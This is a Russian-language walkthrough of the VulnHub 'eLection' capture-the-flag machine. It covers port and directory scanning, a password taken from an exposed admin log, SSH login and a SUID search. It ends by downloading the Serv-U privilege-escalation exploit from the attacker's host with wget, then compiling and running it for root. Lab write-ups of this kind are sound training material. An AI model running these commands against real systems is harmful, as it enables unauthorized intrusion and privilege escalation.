Решение CTF (eLection).
Здравствуйте, дорогие друзья. Сегодня будем решать задание ctf на виртуальной машине, которая называется eLection. Скачать ее можно с Vulnhab-a, перейдя по ссылке: https://www.vulnhub.com/entry/election-1,503/
![vulnhub election](https://timcore.ru/wp-content/uploads/2021/10/screenshot_1-1024x490.png)
После скачивания в обязательном порядке нужно сверить контрольную сумму данной виртуальной машины, которая располагается на странице скачивания ниже:
![После скачивания в обязательном порядке нужно сверить контрольную сумму данной виртуальной машины, которая располагается на странице скачивания ниже](https://timcore.ru/wp-content/uploads/2021/10/screenshot_2-1024x531.png)
Это хеш MD5 и SHA1. Так как у меня хостовая ось – это Windows 10, то я буду сверять сумму с помощью программы HashTab:
![сверка контрольной суммы с помощью hashtab](https://timcore.ru/wp-content/uploads/2021/10/screenshot_3.png)
Отлично, теперь можно распаковывать архив и импортировать виртуальную машину в среду виртуализации (у меня это WmWare). Делается это очень просто. Двойной клик мыши по файлу с расширением .ova, и установка.
Если с этим справились, то можно запускать машину для дальнейшего решения задания CTF.
Так как мы ничего не знаем о данной машине (кроме того, что это дистрибутив Ubuntu), нам нужно узнать ip-адрес данной машине в нашей сети. Делается это с помощью инструмента «Netdiscover»:
![netdiscover](https://timcore.ru/wp-content/uploads/2021/10/screenshot_4.png)
После тестирования каждого айпи, мы узнали, что актуальный адрес для нас будет: 192.168.119.143. Это в моем случае. В Вашем будет немного отличаться адреса.
Перейдем в браузер и видим дефолтное окно сервера Apache2:
![server apache2](https://timcore.ru/wp-content/uploads/2021/10/screenshot_5-1.png)
Далее нам необходимо просканировать айпи адрес на наличие открытых портов. Это делается с помощью команды «nmap –p- -A 192.168.119.143»:
![nmap –p- -A 192.168.119.143](https://timcore.ru/wp-content/uploads/2021/10/screenshot_6.png)
Исходя из сканирования, у нас есть два открытых порта – это 22 и 80 порты соответственно.
Далее нам нужно воспользоваться инструментом для сканирования каталогов, который называется «gobuster». Настоятельно рекомендую почитать справку данной программы, чтобы понимать синтаксис. Команда будет выглядеть как: «gobuster dir -u http://192.168.119.143/ -w /usr/share/dirb/wordlists/common.txt»:
![gobuster dir -u http://192.168.119.143/ -w /usr/share/dirb/wordlists/common.txt](https://timcore.ru/wp-content/uploads/2021/10/screenshot_7.png)
Нас будет интересовать страница «robots.txt»:
![robots.txt](https://timcore.ru/wp-content/uploads/2021/10/screenshot_8.png)
Запись в «robots.txt» довольно интересная, но нас будет интересовать последнее слово «election». Это проверяется методом проб и ошибок. Нам нужно просто вставить данное слово после айпи-адреса машины:
![Запись в «robots.txt» довольно интересная, но нас будет интересовать последнее слово «election». Это проверяется методом проб и ошибок. Нам нужно просто вставить данное слово после айпи-адреса машины](https://timcore.ru/wp-content/uploads/2021/10/screenshot_9.png)
Мы видим веб-морду election.
Далее воспользуемся сканером dirsearch. Dirsearch — это простой инструмент командной строки, предназначенный для перебора каталогов и файлов на веб-сайтах. Скачать его можно с гитхаба, перейдя по ссылке: https://github.com/maurosoria/dirsearch
Далее копируем данную ссылку и переходим в терминал, предварительно перейдя на рабочий стол и введя команду «git clone https://github.com/maurosoria/dirsearch.git»:
![Мы видим веб-морду election. Далее воспользуемся сканером dirsearch. Dirsearch - это простой инструмент командной строки, предназначенный для перебора каталогов и файлов на веб-сайтах. Скачать его можно с гитхаба, перейдя по ссылке: https://github.com/maurosoria/dirsearch Далее копируем данную ссылку и переходим в терминал, предварительно перейдя на рабочий стол и введя команду «git clone https://github.com/maurosoria/dirsearch.git»](https://timcore.ru/wp-content/uploads/2021/10/screenshot_10.png)
Переходим в директорию «dirsearch» и запускаем скрипт с помощью команды: «./dirsearch.py –u http://192.168.119.143/election/ -e * -x 403»:
![./dirsearch.py –u http://192.168.119.143/election/ -e * -x 403»](https://timcore.ru/wp-content/uploads/2021/10/screenshot_11.png)
Нас будет интересовать путь «/election/admin/logs». Переходим в браузер и вводим данный путь:
![Нас будет интересовать путь «/election/admin/logs». Переходим в браузер и вводим данный путь](https://timcore.ru/wp-content/uploads/2021/10/screenshot_12.png)
Получаем системный файл с логами. Это интересно уже. Скачиваем файл и открываем его:
![Получаем системный файл с логами. Это интересно уже. Скачиваем файл и открываем его](https://timcore.ru/wp-content/uploads/2021/10/screenshot_13.png)
Видим, что у нас есть пароль пользователя «Love». Сразу копируем его и идем в терминал, для того, чтобы сконнектиться по ssh (мы помним, что у нас открыт 22 порт ssh):
![connect to ssh](https://timcore.ru/wp-content/uploads/2021/10/screenshot_14-1.png)
Мы в системе под пользователем «love»:
![Мы в системе под пользователем «love»](https://timcore.ru/wp-content/uploads/2021/10/screenshot_15-1.png)
Переходим в директорию временных файлов «/tmp», и вводим команду для поиска возможных уязвимых каталогов «find / -perm /4000 2>/dev/null»:
![find / -perm /4000 2>/dev/null](https://timcore.ru/wp-content/uploads/2021/10/screenshot_16-1.png)
После вывода нас будет интересовать директория: «/usr/local/Serv-U/Serv-U», так как мы можем подобрать эксплойт под данную уязвимость.
Ссылка на эксплойт: https://www.exploit-db.com/exploits/47009 Скачиваем данный файл к себе на машину и проверяем айпи-адрес:
![serv-u ft[ server exploit](https://timcore.ru/wp-content/uploads/2021/10/screenshot_17-1-1024x349.png)
![ifconfig](https://timcore.ru/wp-content/uploads/2021/10/screenshot_18-1.png)
Вводим команду для загрузки и прослушивания: «php –S 192.168.119.142:7676»:
![php –S 192.168.119.142:7676](https://timcore.ru/wp-content/uploads/2021/10/screenshot_19.png)
Переходим на сервер и загружаем скрипт с помощью команды: «wget http://192.168.119.142:7676/47009.c»:
![Переходим на сервер и загружаем скрипт с помощью команды: «wget http://192.168.119.142:7676/47009.c»](https://timcore.ru/wp-content/uploads/2021/10/screenshot_20.png)
Проверяем, загружен ли эксплойт:
![Проверяем, загружен ли эксплойт](https://timcore.ru/wp-content/uploads/2021/10/screenshot_21.png)
Осталось запустить эксплойт и получить права рут. Это можно реализовать с помощью команды: «gcc 47009.c –o pe && ./pe»:
![gcc 47009.c –o pe && ./pe](https://timcore.ru/wp-content/uploads/2021/10/screenshot_22.png)
Перейдем в директорию /root и находим флаг:
![Перейдем в директорию /root и находим флаг](https://timcore.ru/wp-content/uploads/2021/10/screenshot_23.png)
На этом все. Всем хорошего дня!